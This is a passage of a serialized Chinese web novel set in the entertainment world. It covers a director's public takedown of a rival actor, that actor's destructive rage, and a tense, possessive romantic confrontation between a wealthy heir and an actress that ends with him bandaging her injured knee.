成唯粉丝暴怒,根本听不得秦扬帆说这些,秦扬帆还是悠哉悠哉的,不过这次没有在墨澜的直播间里面发东西了,成唯粉丝还当秦扬帆被她们骂怕了,现在特别得意,可没等多久就看到直播间里面有人说秦扬帆发了微博,完全是回应成唯演技烂的问题。 【秦扬帆】:成唯的演技只能是及格线,而我拍的不是及格线上的剧,颜值不高演技不行吹得挺过,吹得最过的就是哭戏,可成唯的几部剧哭戏的情绪都是一样的,台词咬字不清楚完全没有任何感情变化,《凤九歌》里面的台词烂到以为他对女主角说的那些话是毫无感情像是陌生人,因为颜值不够所以古装扮相很丑,你们猜成唯为什么每一次的古装扮相都是带刘海儿的?为了遮丑! 这条微博如一颗深水炸弹,瞬间引爆全网。 成唯粉丝的“得意”表情还凝固在脸上,就被这辛辣的嘲讽砸得头晕目眩。 她们疯狂刷新评论区,却发现骂声早已被潮水般的围观群众淹没: “终于有人说真话了!成唯哭戏永远皱眉瘪嘴,跟机器人似的。” “《凤九歌》台词确实像在念AI稿,每次看他古装都出戏。” “成唯台词就是很烂啊,多少次了台词都说的烫嘴,我感觉他不仅对女主角没有情意甚至还有着深仇大恨了!” “成唯粉丝整天夸夸夸,也不知道在夸什么,你要说颜值,颜值比不过墨澜啊,演技?演技也比不过墨澜啊,也不知道谁给她们的勇气说成唯碾压墨澜的,到底是谁碾压谁大家伙心里面其实都清楚的。” “导演硬刚粉丝,这瓜吃得真过瘾!” 成唯粉丝的反击沦为笑柄,她们试图用“你有病”“嫉妒成唯火”等苍白言辞反击,却被秦扬帆的犀利回应一一戳破。 更有路人翻出成唯历年作品对比,发现其哭戏表情竟真的如秦扬帆所言,机械式流泪,毫无情绪层次。 甚至有人截图《凤九歌》片段,将成唯的台词与原声对比,发现咬字含糊处竟多达数十处,评论区瞬间掀起“成唯台词烂出天际”的热搜。 而秦扬帆,依旧在微博评论区悠闲“补刀” 粉丝:“导演你眼瞎,成唯最帅!” 秦扬帆回复:“帅能当饭吃?《灵媒》讲的是灵魂震颤,不是靠脸瘫演木头人。” 粉丝:“你嫉妒成唯流量大!” 秦扬帆回复:“流量大不代表演技好,否则我拍《灵媒》请AI配音得了。” 这场论战彻底撕碎了成唯的“演技神话”。 曾经被粉丝吹上天的“哭戏天花板”,被扒出不过是重复的套路,古装扮相的“绝美”滤镜,被证实是刘海遮丑的营销手段。成唯工作室紧急公关,却因证据确凿而无力回天,连带着团队过往的吹捧通稿都被挖出,沦为全网笑谈。 墨澜看着直播间成唯粉丝被气的跳脚也只能说那几句重复的车轱辘话。 墨澜倒是觉得还挺爽啊,以前是真不知道秦扬帆的嘴这么毒啊。 他还在开直播,他的粉丝问他是不是真的决定接下《灵媒》这部剧、 墨澜笑:“为什么不接,能跟秦导合作拍一部剧是多好的机会,而且女主角据说也很有实力,我也很期待。” 他不踩温栩栩,完全不觉得温栩栩可能踩着自己上位。 他对演员的态度其实一直都是这样的,如非必要,不会开口嘲讽谁,当然成唯是另类,一直以来都是成唯方先挑衅的。 墨澜粉丝狂欢,墨澜决定尽快结束休假回来拍戏了,这对她们来说就是好事! 成唯粉丝气的牙根痒痒。 躲在暗处的成唯知道这些几乎是恨到牙根痒痒。 他本来就是打算让自己的粉丝帮自己对付墨澜和秦扬帆的,结果没能成功,现在还被墨澜接下了《灵媒》这部剧! 成唯气到砸了房间内的酒杯。 “我怎么可能输给他!” 成唯站在卧室中央,呼吸急促如困兽。 第1087章 躲他 他攥紧的拳头在颤抖,指甲深深掐进掌心,仿佛要将那耻辱的刺痛感从体内剜出。 秦扬帆的嘲讽、墨澜的取代、粉丝的溃败……这些尖锐的利刃在他脑海中循环播放,每一帧画面都如烙铁灼烧着他的自尊。 “砰!” 酒杯在他手中骤然捏爆,玻璃碎片与红酒溅满昂贵的波斯地毯。 猩红的酒液蜿蜒如毒蛇,爬过他擦得锃亮的皮鞋,在暖黄灯光下折射出诡异的血色。 成唯却像被激怒的野兽,一脚踹向面前的实木茶几,上等的檀木桌轰然倒地,茶具“叮当”碎裂,瓷片蹦跳着嵌入地毯纤维,像无数张嘴在嘲笑他的无能。 “为什么……为什么是我被踩下去!” 他嘶吼着冲向墙边的博古架,指尖横扫过陈列的奖杯与精致摆件。 水晶奖杯坠地的刹那,光芒炸裂如血色烟花,碎片溅起时划破了他的手背,他却浑然不觉疼痛,只觉那刺痛比不过内心的灼伤。 一尊镀金佛像被他扯下,佛陀慈悲的面容在撞击大理石地面时扭曲,仿佛连神祇都在讥讽他的堕落。 电视机屏幕在拳头重击下裂开蛛网纹路,电流声嘶鸣如濒死的兽吼。 成唯抓起遥控器疯狂砸向残破的屏幕,塑料外壳迸裂,零件散落如一地残肢。 他转身又将目光投向书架,抽出《灵媒》的试镜剧本,那纸张在他手中扭曲成团,又被狠狠掷向墙角,剧本撞墙时,扉页上“游远”的角色名被撕成两半,像被斩断的命运。 窗帘被他扯下,丝绸布料坠地遮住满地狼藉,却遮不住他扭曲的面孔。 手机、香水瓶、台灯…… 任何触手可及的物品都成了发泄的靶子。 他踢翻化妆台,口红与粉饼在镜面炸裂,颜料混着玻璃渣溅上他雪白的衬衫,仿佛给那“完美偶像”的外壳涂上一层狰狞的油彩。 喘息中,他背靠被砸烂的沙发,成唯的胸膛剧烈起伏,汗珠从他额角滑落,与酒渍、灰尘混合成一道肮脏的泪痕。 他盯着自己颤抖的双手,那曾接过奖杯的手,此刻却只能制造这样一片废墟。 失败与羞辱的潮水淹没了他,他忽然抓起茶几上未碎的威士忌瓶,将烈酒灌入喉咙,灼烧的液体却浇不灭胸中怒火。 “墨澜……秦扬帆……” 他喃喃念着这两个名字,眼底迸出毒蛇般的怨毒。 手机突然震动,经纪人发来的消息如冷水浇头:“《灵媒》官宣墨澜饰演游远,热搜爆了。” 成唯猛然攥紧手机,屏幕在掌中发出濒临碎裂的呻吟。 他仰头将剩余酒液一饮而尽,酒精灼烧喉管时,脑海中却浮现墨澜直播时那从容的笑,那笑此刻在他眼中,分明是胜利者的嘲讽。 “你们会后悔的……” 他踉跄起身,一脚踩碎脚边的玻璃瓶,尖锐的碎片扎进鞋底,他却像感觉不到疼痛,只觉那刺痛让他清醒。 他抓起碎玻璃抵住手腕,冰凉的触感让他战栗,但腕上那道浅痕却不足以与内心的创伤比拟。 他忽然将玻璃片扔开,抓起桌上未毁的剧本,撕页的动作愈发疯狂。 他瞥见镜中狼狈的自己,头发凌乱如疯草,衬衫沾满酒渍与粉渍,脸上甚至有一道玻璃划出的细小血痕。 那模样与他精心塑造的“神颜”偶像形象天差地别,他却忽然癫狂大笑:“墨澜……你以为你赢了吗?游远不过是我的垫脚石!总有一天,我会让你们所有人跪下求我!”笑声在破碎的房间里回荡,带着扭曲的疯意与不甘的嘶吼。 成唯发泄完毕,却并未真正平静下来,他此刻甚至已经有些心理扭曲了。 他完全不能接受自己被墨澜针对碾压。 他蜷缩在废墟堆里,指尖无意识地摩挲着一片水晶奖杯碎片,那棱角刺痛掌心,他能感受到疼痛,但内心更多的还是那种汹涌的几乎要从胸口汹涌而出的恨意。 他已经没办法继续沉寂下去了,好在他也不是没有手段应对。 不是都说墨澜演技好吗?他就要跟冯吴德先把这类题材的剧拍出来!等到那时候《灵媒》就成了盗版的! 想到这里成唯内心才稍稍缓和了一瞬。 …… 今天的事情闹到这种地步,韩城是被气到了,他是没见过成唯这么厚脸皮不要脸的人,盛景炎倒是没觉得有什么,毕竟圈子里不要脸的人也不少。 但这事情对黎云笙来说其实也算不得什么大事,在他这里可能都比不过温栩栩重要了。 他现在就只想先把温栩栩带走,问清楚说清楚,省的温栩栩想七想八的想一大堆。 温栩栩自然是想跑的,也不想着吃了,中途就借口出去上厕所溜出去想逃,其实包厢里面有洗手间,但温栩栩就是挑着里面有人的时候跑了。 开玩笑,今天已经躲过黎云笙了,再躲,谁知道这男人会对自己做什么呢。 华庭酒店的灯光在夜色中晕染成暧昧的琥珀色,温栩栩攥紧包带溜出包厢时,手心还沁着薄汗。 她故意挑着服务员端着餐盘穿梭的走廊狂奔,高跟鞋踩在大理石地面发出清脆的哒哒声,像只受惊的兔子。可还没冲出旋转门,余光便瞥见那道斜倚在车门边的身影。 是黎云笙。 他倚着黑色轿车的车身,姿态慵懒如猎豹蛰伏,路灯的光晕在他肩头镀上一层金边,衬得眉眼愈发深邃。 抬眸时那双眼睛确实如他所说“没有任何情绪”,可温栩栩却分明看见他瞳孔里映着自己仓皇的影子,淡淡的凉薄感裹着某种危险的温柔,仿佛下一秒就能将她冻结。 怎么还是要被逮到! 她心头咯噔一声,转身就想逃,高跟鞋却绊在台阶边缘。 黎云笙已逼近,长臂一伸便扣住她的手腕。 掌心相触的刹那,温栩栩仿佛被烫到般缩了一下,却被他更紧地锢住。 “不是说要去洗手间,跑什么?”他声线淡淡,尾音却微微上挑。 温栩栩抬眼瞪他,睫毛扑闪如振翅的蝴蝶,腮边甚至浮起薄红,是逃跑时急出来的。 第1088章 你是我想藏起来的人 “我才不是要去洗手间,我就是想跑!” 她猛地抽手,却像挣扎在铁钳里。 黎云笙顺势将她拽近,另一臂已搂住她的腰,温栩栩整个人撞进他怀里,鼻尖抵着他西装上冷冽的雪松香。 她气得跺脚,脚尖却只蹭到他擦得锃亮的皮鞋,男人早料到似的侧身避开,反倒让她踉跄半步,更紧密地贴在他胸膛。 “瞪我做什么,不是要去洗手间?我带你去。”黎云笙扬眉,指尖忽然从她腕间滑落,转而捏住她下巴。 力道极轻,却不容抗拒。温栩栩被迫仰头,正撞进他眼底。 那凉薄感不知何时融化了,取而代之的是一丝戏谑的暖意,像春冰初裂时漾开的涟漪。 “我才不——!” 她话音未落,黎云笙已俯身,呼吸扫过她耳畔。 温栩栩心跳漏了半拍,下意识闭眼,却只等来他轻笑的声音:“又躲?今天试戏后就在躲我,刚才在包厢里躲我,现在又躲人,温栩栩,你躲得累不累?”温热的气息拂在她耳垂,激得她浑身一颤,脸颊更烫了。 “我不累!”她睁眼瞪他,却发现自己离他近得能数清他睫毛,根根浓密如鸦羽,在眼下投下细密的影。 这距离太危险,她慌忙后仰,腰却被他的手臂稳稳箍住。 黎云笙忽而轻笑出声,那笑声低沉如大提琴的弦,震得她耳膜发酥。 “嘴硬。”他拇指抚上她唇瓣,动作轻得像羽毛掠过,温栩栩呼吸一窒,连瞪他的勇气都忘了。 可黎云笙只蜻蜓点水般擦过便收回手,转而将她往酒店方向带,“真不去洗手间?” 温栩栩被他半搂半拖着走,高跟鞋在地面划出断续的弧线。 “你松开我,我要回家!” “回家?”黎云笙脚步一顿,将她转了个身面对自己。两人此刻近得能看清彼此瞳孔里的星芒,他忽然低头,鼻尖几乎抵上她的,“温栩栩,你每次想逃的时候,理由都跟小孩似的可爱。” “谁可爱了!” 她脸颊爆红,抬手想推开他,却被他顺势握住双手,十指相扣。 温栩栩瞪圆了眼睛,睫毛刷在他腕间,痒得他心头一颤。黎云笙忽而将她抵在车门上,后背的金属冰凉,却抵不过他胸膛传来的温度。 “你。”他答得坦荡,拇指抚过她发烫的耳尖,“躲我、撒谎、逃跑,都像只炸毛的猫,又凶又——”他故意顿住,温栩栩的心跳随着那停顿悬在半空,待他续上后半句时,声音已低得像呢喃,“又有点招人喜欢。” 温栩栩浑身一震,瞪他的眼神里多了几分慌乱。 可黎云笙已直起身,松开她的手,却仍虚虚圈着她,不让她逃:“跟我回去把话说清楚。不然你今晚是走不了的。”他指尖在她唇上轻点。 温栩栩咬住下唇的力道重得几乎要渗出血色,她别过头时,那句“讨厌你”脱口而出,像一颗裹着糖衣的毒丸,既甜又涩,砸在黎云笙胸口。 他果然愣住了,手指还虚悬在她肩头,仿佛被她突如其来的直白钉在原地。 “我就是不想看到你,不可以吗?” 她的声音里裹着委屈的颤音,像一只被踩到尾巴的猫,炸起的毛刺扎得人心疼。 黎云笙看着她侧脸的轮廓,下颌紧绷着,睫毛却在颤抖,仿佛下一秒就要哭出来,却又倔强地不肯落下泪。 苏婉的名字像一根刺,扎进温栩栩的每一寸呼吸。 她知道苏婉是黎云笙的青梅,那个从少年时代就与他并肩的女孩,娱乐圈的女星,连资源都带着黎家权势的烙印。 每当看到苏婉的名字与黎云笙一同出现在热搜,她就会蜷缩在沙发里,指尖无意识地抠着抱枕的边缘,直到布料裂开一道细小的口,就像她不敢面对自己心底那道裂开的伤口。 “只要看到苏婉,我就会慌。” 温栩栩的思绪在黑暗中翻涌。 她搜过苏婉了,有一段被人拍下来的视频,视频中苏婉跟黎云笙一起参加晚宴 ,苏婉笑着对黎云笙说“阿笙,你帮我挡一下记者好不好”,黎云笙竟真的将外套披在她肩上,那姿态熟稔得像做过千百遍。 而自己呢?她不过是场外的看客,连走近的资格都没有。 “我现在心里都是慌的。” 她终于转身直面黎云笙,眼底的雾气却倔犟地不肯凝结成泪。 黎云笙望着她,喉结滚动了一下,忽然伸手想抚她脸颊,却被她偏头躲开。那躲闪的动作像一簇火苗,燎得他指尖发烫。 “为什么慌?”他问,声音比往常低哑了几分,像是压抑着某种情绪。 温栩栩却冷笑一声,眼眶更红了:“因为你和她啊!黎云笙,你明明和我这样亲密——”她顿住,指尖无意识地摩挲着他西装袖口的纹路,“可苏婉一出现,你就还是她的。我算什么?你外面随便玩玩的小明星?等哪天你腻了,就会像吞掉点心一样,把我完全抛弃。” “点心”这个词像一根针,扎进黎云笙的耳膜。 他蹙眉,握住她乱动的手腕,力道不自觉加重:“谁跟你说我会抛弃你?” 温栩栩却挣得更凶,:“你不用骗我!你们这种人的心思,我怎么会不懂?苏婉在你身边这么多年,你对她——” “我对她什么?”黎云笙忽然打断她,掌心托住她的下巴,迫使她直视自己。 温栩栩的泪悬在睫毛上,颤巍巍的。 他拇指擦过那滴泪,动作轻柔:“温栩栩,你凭什么觉得,我对苏婉和你是一样的?” 温栩栩的心跳漏了一拍。 黎云笙的瞳孔里映着她狼狈的模样,却忽然泛起一丝她看不懂的幽深。 他低头逼近,呼吸与她纠缠:“苏婉是朋友,你是我想藏起来的人。” 最后一个字湮没在温栩栩的唇上。 她瞪大了眼睛,睫毛刷在他脸颊,黎云笙却加深了这个吻,舌尖撬开她颤抖的齿关,将未尽的话封入彼此的呼吸。 温栩栩的脑子瞬间空白,只觉他的气息像烈酒灌入肺腑,烫得她浑身发软。 她挣扎着想推开他,腰却被更紧地扣住,黎云笙的另一手甚至探进她发间,将她彻底锢在怀中。 暧昧与不安在吻中撕扯。温栩栩尝到他舌尖的苦涩,像是压抑了太久的情绪终于泄露一丝缝隙。 她是真的会害怕自己会变成黎云笙的点心,被他完完全全吞之入腹最终被完全抛弃。 第1089章 你是不是又要跑了 那个吻像一团灼热的火,从唇瓣蔓延至四肢百骸。 温栩栩的脊背抵着冰凉的车门,却抵不住黎云笙胸腔传来的滚烫温度。 他的唇压下来时,起初只是轻柔的触碰,如羽毛掠过湖面,可不过瞬息便转为狂风骤雨般的掠夺。 她感觉自己像被卷入漩涡的落叶,身体渐渐软化,膝盖发颤,指尖蜷缩在他西装衣襟上,却使不出半分力气推开。 喘息从喉间溢出,细碎如蝉鸣。 她抬眼望他,眼底的水光在路灯下泛着蜜糖般的色泽,情意如涟漪荡开,却又被理智强行压下。 黎云笙的拇指抚过她湿润的唇,动作缓慢的带着几分情色之意了。 温栩栩的耳尖愈发滚烫,羞耻感与悸动交织成网,将她困在暧昧的深渊里。 “想推开我?” 黎云笙忽而轻笑,他握住她手腕的力道霸道如铁钳,却在她挣扎时故意松开一丝缝隙,让她的指尖得以蹭过他掌心的纹路。 温栩栩趁机抽手,他却顺势将她双手扣在头顶,十指交缠的触感像电流窜过神经,她瞪他,怒意里藏着几分羞恼:“你欺负人!” “欺负?”他俯身逼近,鼻尖几乎蹭上她的,“那你想怎样?继续跑?”温热的气息拂在她耳廓,激得她浑身一颤,连瞪他的眼神都失了锐利。 黎云笙的另一手滑至她腰际,掌心贴着她肌肤的刹那,温栩栩脊背弓起,像被触碰了敏感开关的小兽,喉间溢出一声轻吟,尾音软得她自己都惊诧。 暧昧在两人之间几乎已经被撕扯成网,温栩栩觉得自己被这张网完全的罩住无法逃离。 她明明想推开他,可身体却背叛意志,在他搂抱时不自觉贴近。 黎云笙的吻从唇移到颈侧,牙齿轻咬她耳垂,温栩栩呼吸彻底紊乱,指尖无意识地揪紧他衬衫,布料褶皱如她紊乱的心跳。 她想逃,却被他箍得动弹不得,仿佛他才是织网的蜘蛛,而她不过是困在丝茧里的猎物。 “你先放开我……” 她小声呢喃,尾音带着撒娇般的颤音。 黎云笙却将她搂得更紧,下巴抵在她发顶,声音染上暗哑的欲:“我放开你,你不是又要跑了?” 这话戳中她的软肋,温栩栩睫毛颤得更厉害。 她确实会跑,就是不想看到黎云笙,不想面对他,只是看着她都会觉得心里是有一点难过的。 “苏婉……” 她忽然轻声念出这个名字,眼底的光瞬间黯淡。 黎云笙的动作一顿,扣在她腰间的手掌紧了紧,像是要将她彻底嵌入自己骨血。 温栩栩却在他怀中挣扎得更凶,这次却不是为了逃跑,而是想挣脱这让她心慌的亲密:“你和她……你们青梅竹马,我算什么?不过是……” “不过是?”黎云笙打断她,指尖掐住她下巴,迫使她抬头。 路灯的光晕在他眼底凝成琥珀色的火,烧得她心跳加速,“不过是让我失控的、夜夜梦见的、想藏起来独占的。”最后三个字他咬得极轻,几乎贴在她唇上。 温栩栩浑身一震,他的话如利箭刺破她伪装的倔强,心底的渴望与不安撕扯成更尖锐的痛。 她咬唇,瞪他的眼神里多了泪意:“你骗我!苏婉在你身边这么多年,她一声‘阿笙’就能让你——” “就能让我怎样?”黎云笙忽而松开对她的禁锢,后退半步,目光却仍锁在她脸上。 温栩栩踉跄着站稳,高跟鞋差点绊住,他却只是看着她,眼底泛起一丝自嘲:“你以为,是她能怎样,还是我以为自己必须怎样?” 温栩栩愣在原地。 黎云笙抬手抚向她脸颊,却被她偏头躲过。 他收回手,看着她,“我觉得你好像总是对我有很多误解,我和苏婉之间没有更多暧昧的关系,我们只是朋友。” 他解释的这样清楚。 温栩栩的心跳如擂鼓,却不敢信他的话。 她瞪着他,:“那为什么……为什么你还要和她牵扯不清?” 黎云笙望着她眼角的泪,喉结滚动,忽然将她重新拽入怀中,吻住她未说完的质问。 这次吻更温柔,像是安抚,又像是誓言,舌尖舔去她脸上的泪,咸涩的味道在两人唇间蔓延。 暧昧与挣扎在夜色中仿佛在无限循环。 温栩栩想逃,却在他怀里逐渐沦陷,想推开,指尖却无意识地摩挲他衬衫下的肌肉纹理。 她觉得自己此刻像是被撕裂成两半,一半沉溺于他给予的温度,另一半被苏婉的影子刺得鲜血淋漓。 黎云笙的吻从唇移到锁骨,她终于惊呼一声,挣扎的力道却弱得像撒娇,反而被他更紧地锢住。 “温栩栩,你是我的。” 他在她耳边低语,声音里裹着危险的占有欲。 温栩栩浑身一震,抬眼瞪他,却在他瞳孔里看见自己的倒影,那模样像一只被驯服的猫,眼底的怒意早已被情欲与迷茫取代。 她知道自己不该沦陷,不该在这暧昧的囚笼里迷失,可黎云笙的气息、他的触碰、他眼底那抹她看不懂的深情,却像毒药般让她无法抗拒。 夜风卷起她的裙摆,两人的影子在地面纠缠成无法分开的轮廓。 温栩栩咬住下唇的力道重得几乎要渗出血色,她望着黎云笙的眼睛,那目光像一柄匕首直直刺向他的心脏。 路灯的光晕在他瞳孔里晕染成琥珀色的漩涡,她却分明看见漩涡深处藏着一丝她看不懂的痛。 “黎云笙,我现在真的很讨厌你。” 这句话从她齿间迸出时,连空气都凝固了。 黎云笙愣在原地,握着她的手不自觉松了松。 温栩栩的眼底蓄着泪,却倔强地不肯落下,睫毛在路灯下投出细密的阴影。 他的沉默此刻就像一记重锤,砸在她早已千疮百孔的心上。 她知道自己不该奢望答案,可那抹沉默却像荆棘般扎进血肉。 孤儿院的记忆在脑海中翻涌,十岁那年蜷缩在冰冷的宿舍角落,听着院长训斥“没人要的野孩子”,十二岁学会用笑容讨好孤儿院的老师院长,却在半年后被退回时明白“笑脸不过是交易的筹码”。 第1090章 把她当什么呢 温栩栩想着,现在呢? 黎云笙予她炽热的吻与暧昧的触碰,可那吻里藏着太多未言明的危险。 “为什么要讨厌我。” 黎云笙终于开口,他伸手想抚她脸颊,却被她侧身躲过。 温栩栩的呼吸急促如困兽,眼底的泪终于滚落一滴,在路灯下闪着碎钻般的光:“你把我当什么呢?” 这个问题像一道深渊,她既想知道答案,又害怕答案会将她彻底吞噬。 她抬眼瞪他,眼底的情意与怒意撕扯成复杂的网,她恨他让自己沦陷,却又贪恋他掌心温度,她怕自己只是他消遣的玩物,可每一次他凝视她的眼神,又像是要将她刻进灵魂。 “你是高高在上的黎家继承人,我只是一个从孤儿院爬到这位置的孤儿。”她咬唇,声音颤抖如风中烛火,“我讨好韩城讨好你,我只想为自己找个靠山,而不是找个金主。我可以哄着你们、捧着你们,说一切你们喜欢听的——”她忽而攥紧掌心,指甲掐进肉里,“但我不想出卖我的身体。” 黎云笙的瞳孔猛地收缩,喉结滚动。 他望着她,眼底的凉薄感不知何时融化了,取而代之的是汹涌的暗潮。 温栩栩的话像一盆冷水浇在他头顶,他从未想过,那些他以为的“亲密”与“占有”,在她眼里竟是“出卖”。他伸手想将她拥入怀中,却被她狠狠推开。 “你在韩城身边,韩城只是把你当朋友。”他哑声反驳,掌心悬在半空,“但我不一样,我——” “你把我当成可以随意玩弄的女人!”温栩栩打断他,眼眶通红。 她瞪着他,眼底的泪与怒意交织成灼热的火,“你吻我、禁锢我,甚至——”她顿住,指尖无意识地抚上自己红肿的唇,那里还残留着他的气息,“但你永远不会给我承诺,不是吗?” 黎云笙垂眸,睫毛在眼下投出浓重的阴影。 他沉默了片刻,声音低得近乎呢喃:“不是可以随意玩弄的人。” 温栩栩的心跳漏了一拍,却仍冷笑:“所以呢?所以你可以娶我进黎家,让我成为黎太太吗?” 这话带着刺骨的嘲意,她自己却清楚答案。 黎家的门第之高,岂会容一个孤儿出身的十八线女星进黎家的大门? 她不过是用这个问题剖开自己的伤口,也剜开他的。 路灯将两人的影子拉得细长,纠缠如无法解开的绳结。 黎云笙像是真的被问住了。 他望着她,眼底泛起一丝挣扎的裂痕。 家族的压力、责任的枷锁、对苏婉的纠葛……所有的一切像一座山压在他肩上。 他无法承诺,却又不甘沉默。温栩栩的泪在他沉默中愈发汹涌,她终于转身背对他,肩膀颤抖如风中枯叶:“看吧,黎云笙,你的心里面其实根本没有我。” 黎云笙忽然从身后将她搂住,胸膛紧贴着她脊背,力道大得几乎要将她揉碎。 温栩栩挣扎,他却在她耳畔低语,声音染着从未有过的脆弱:“温栩栩,你凭什么觉得我没有你?” 她浑身一震,泪落在他的手背,灼得他皮肤发烫。 黎云笙的拇指抚上她泪痕,动作轻柔,“给我点时间好不好。” 温栩栩的心跳如擂鼓,却仍瞪着他,眼底的泪与倔犟不肯退让,她挣开他的怀抱,高跟鞋在台阶上发出清脆的声响,像是逃离的信号。黎云笙却追上她,扣住她手腕,力道霸道如铁钳:“温栩栩,你给我听清楚。” 路灯将两人的影子融成一团,他将她抵在车门上,呼吸与她纠缠:“你不是玩物,我也不是金主,不是任何你能用世俗标准衡量的存在,我不会欺骗你,更不会玩弄你。”他低头逼近,鼻尖几乎蹭上她的,“你可以试着相信我。” 温栩栩的瞳孔骤缩,唇被他封住的刹那,所有质问与挣扎都化作灼热的吻。 黎云笙的舌尖撬开她颤抖的齿关,将她未说完的怀疑封入彼此的呼吸。 她挣扎着想推开,腰却被更紧地扣住,他的手甚至探进她发间,将她彻底锢在怀中。 暧昧与痛苦在吻中撕扯,她尝到他舌尖的苦涩,像是压抑了太久的情绪终于泄露一丝缝隙。 “温栩栩,你是我的。” 他在她耳畔低语,声音里裹着危险的占有欲。 温栩栩的指尖在推开黎云笙,她踉跄着后退,高跟鞋绊在不平的地面上,整个人重重摔向坚硬冰冷的地面上。 膝盖撞击地面的声响闷重如锤击,疼痛如电流窜过神经,她咬住唇才没发出痛呼,可眼眶却瞬间通红。 路灯的光晕在她身上投下斑驳的影子,膝盖处的伤痕渗出血珠,在夜色中泛着暗红的色泽。 她抬眼瞪向黎云笙,那目光像淬了冰的刃,刺得他心口发疼。 黎云笙想上前扶她,她却猛地抬手推开:“别过来!” 她的声音带着颤音,却十分倔强。 黎云笙悬在半空的手掌僵住,望着她倔犟地自己坐起身,裙摆沾满尘土,却仍挺直脊背瞪他。 路灯将她的轮廓镀上一层朦胧的光,像是破碎的瓷娃娃,美丽而脆弱。 他很想把她抱紧怀中,但此刻却被完全的拒绝了。 温栩栩的眼泪在眼眶打转,却始终不肯落下,她咬唇,声音像是从齿缝挤出:“你总是会对我做这些奇怪的事,然后说我是你的……可你根本就不知道我在乎什么、想要什么!” 黎云笙的喉间发堵,仿佛被无形的手扼住了呼吸。他想要解释,想要说“我知道”,可喉咙里却像哽着一团荆棘。他当然知道她在乎什么。 她在乎的不是他的权势,不是他的吻,而是那份可笑的“普通人的生活”。 可这份普通,对他而言却是最奢侈的承诺。 家族的内斗如毒蛇缠绕着他的脚踝,每一步都需算计,每一句话都可能成为敌人的刀刃。 如果他执意将她拉进这漩涡,她便会成为靶心,成为那些觊觎黎家权位的猎人的猎物。 温栩栩的眼泪终于夺眶而出,滑过脸颊时带着灼热的温度。 第1091章 玩不起上流圈层的爱情游戏 她望着他,眼底的愤怒与绝望撕扯成网:“如果你不能真的给我承诺,那就不要继续接近我、靠近我、伤害我!黎少,我只是个普通人,我玩不起你们上流圈层的爱情游戏!” 她嘶吼着,声音在寂静的夜里显得格外刺耳,“我只是个普通人,我也只想过普通人的生活!” 黎云笙的瞳孔骤缩,仿佛被这句话刺中了心脏。 普通人的生活,那是他自出生便被剥夺的权利。 他习惯了在宴会中与陌生人谈笑,习惯了在董事会上算计对手,习惯了将真心锁进最深的角落。可温栩栩的出现却像一把钥匙,撬开了他所有伪装的铠甲。 她鲜活、倔强、带着刺,却又在他怀中融化如春雪。 可她现在却说,她只想过普通人的生活。 他内心发堵,那股清晰的疼痛感蔓延过四肢百骸。 “你能不能不要不顾我的意愿就强硬的把我拉拽进你的世界!”温栩栩仍然在质问。 黎云笙望着她,忽然意识到自己做了多么自私的事。 他用暧昧的吻、霸道的禁锢,将她卷进自己的漩涡,却从未问过她是否愿意。 她的膝盖在流血,心也在流血,而他竟一直以为自己的“占有”是保护。 一连串的拒绝像利箭穿透他的胸膛。 黎云笙僵硬在原地,指尖无意识地攥紧西装衣襟。他喉间发堵,家族的记忆如潮水涌来。 二叔在背后勾结股东,堂兄暗中收购黎氏股份……他需要稳坐继承人的位置,需要铲除所有威胁,需要做一个没有弱点的机器。 而温栩栩,会成为他最大的弱点。 如果执意接近她,那些人会盯上她。 不是可能盯上她,是一定会盯上她。 如果真的只是当一个玩物,那群人可能并不在意,可他显然……没办法只把她当做玩物。 他想起上周在董事会上二叔意味深长的笑,想起某个深夜收到的匿名威胁信。 温栩栩若与他纠缠,便会成为攻击他的利器。 他不能让她陷入危险,不能让她成为权力游戏中的筹码。 黎云笙的心在绞痛,像是被撕裂成两半。 他望着她膝盖的伤口,那血珠仿佛都在此刻无声控诉他的自私。 为了她的安全,为了她想要的普通生活,他必须放手。 温栩栩却不知他内心的挣扎,她坐在地上,泪水模糊了视线,却仍固执地瞪着他:“我不想要!我不可以!我不接受你给的这些!”她的嘶吼像孩子最后的反抗。 温栩栩其实就是觉得自己要控制不住自己的心了。 在这样下去,她整个人心里眼里全部都是黎云笙了。 她会撑不住的,她不要这样。 他望着温栩栩倔犟坐在地上的身影,路灯将她的轮廓镀上一层朦胧的光,膝盖的伤口仍在渗血,像是无声的控诉。 他深吸一口气,掌心攥紧又松开,终于哑声开口:“好,我知道了。以后我会像韩城一样,只把你当朋友。” 朋友……多么疏离又安全的词。 他曾渴望将她纳入更亲密的领域,可如今,却不得不将这份渴望锁进深渊。 温栩栩愣住,抬眼望他,眼底的泪光还未褪去,却染上了一丝不解。 黎云笙的瞳孔深处藏着太多她看不懂的情绪,可此刻,他竟真的在退让。 “现在先让我给你处理伤口,可以吗?” 他弯下腰,声音低柔的询问。 温栩栩咬唇,沉默了片刻,终于轻轻点头。 黎云笙将她打横抱起,温栩栩惊呼一声,却被他稳稳托住。她蜷缩在他怀中,鼻尖嗅到他西装上淡淡的雪松香,心跳不自觉乱了节拍。黎云笙将她安置在车后座,打开顶灯,暖黄的光晕洒下,照亮了她膝盖上的伤痕。 擦破的皮肤泛着青紫,血珠已凝成暗红的点。 他从后备箱取出药箱,动作熟练得像做过千百次。 消毒棉、药膏、绷带整齐排列,温栩栩望着那些物品,忽然想起他曾为苏婉处理过伤口吗? 这个念头一闪而过,她却不愿深想,只是垂眸盯着他低头处理伤口的模样。 黎云笙的指尖沾上消毒水,轻轻按压在她伤口边缘,温栩栩疼得倒抽一口冷气,眼眶瞬间泛红。 “忍一忍,很快就好。” 他的声线此刻温柔得不像那个霸道吻她的男人。 拇指拂过她伤口时,力道轻得仿佛在抚一朵娇花。温栩栩咬住唇,眼泪在眼眶打转,却倔强地不肯落下。 消毒水的刺痛渐渐褪去,药膏的清凉渗入肌肤。 黎云笙缠绕绷带时,手指有意无意蹭过她小腿的肌肤,温栩栩浑身一颤,却被他迅速收回动作。 车内陷入沉默,唯有他指尖缠绕绷带的窸窣声。 温栩栩的呼吸渐渐平稳,却仍不敢抬眼看他,只是盯着车窗外模糊的路灯光影。 她不知道此刻的黎云笙在想什么,但那份沉默中的温柔,像一根细针,轻轻扎进她心底。 “好了。” 黎云笙终于将最后一道绷带系紧,动作利落却不失轻柔。 他抬头望她,沉默片刻终是开口:“这几天不要碰水。”温栩栩点头,喉咙却像哽着一团棉花。 黎云笙起身,将药箱收回后备箱,动作间不带一丝留恋,仿佛刚才为她处理伤口的人不是他。 临别时,他站在车门旁,路灯的光晕将他半边脸隐入阴影。 